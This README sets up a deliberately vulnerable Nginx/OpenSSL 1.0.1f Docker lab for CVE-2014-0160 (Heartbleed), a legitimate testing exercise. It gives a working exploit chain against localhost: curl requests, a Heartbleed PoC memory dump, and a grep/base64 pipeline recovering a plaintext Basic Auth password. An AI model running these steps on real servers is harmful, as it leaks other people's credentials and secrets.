Testing Heartbleed with Nginx Dockerfile

This repository contains Dockerfile of Nginx with the vulnerable OpenSSL version (1.0.1f) for testing CVE-2014-0160 Heartbleed Vulnerability.

Base Docker Image

• debian:latest

Installation

1. Install Docker

   • Example with Debian: apt-get install -y docker

2. Download from public Docker Hub Registry the debian base image: docker pull debian:latest

3. Build the image from Dockerfile: docker build -t heartbleed_nginx_img .

Usage

Start the Heartbleed+Nginx container

docker run -i -t -p 1500:443 heartbleed_nginx_img

Testing Heartbleed Vulnerability (CVE-2014-0160) with HTTP Basic Authentication method

1. Download the Heartbleed-poc Python script (For Testing Purposes Only !). This is a modified version originally by Jared Stafford jspenguin@jspenguin.org. Thanks to SensePost for this one.

2. Open two new Tabs on your current terminal and run :

   • First Tab (Generating x100 GET requests using HTTP Basic Auth with curl command):

     for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done

     HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...

   • Second Tab (Generating x100 Heartbeats(-n 100) requests and write the memory dump to "dump.bin" file, then grab the result from "Authorization" field from memory dump and finally decode Base64 result string to plain text in clear ^^):

     python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo

     WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG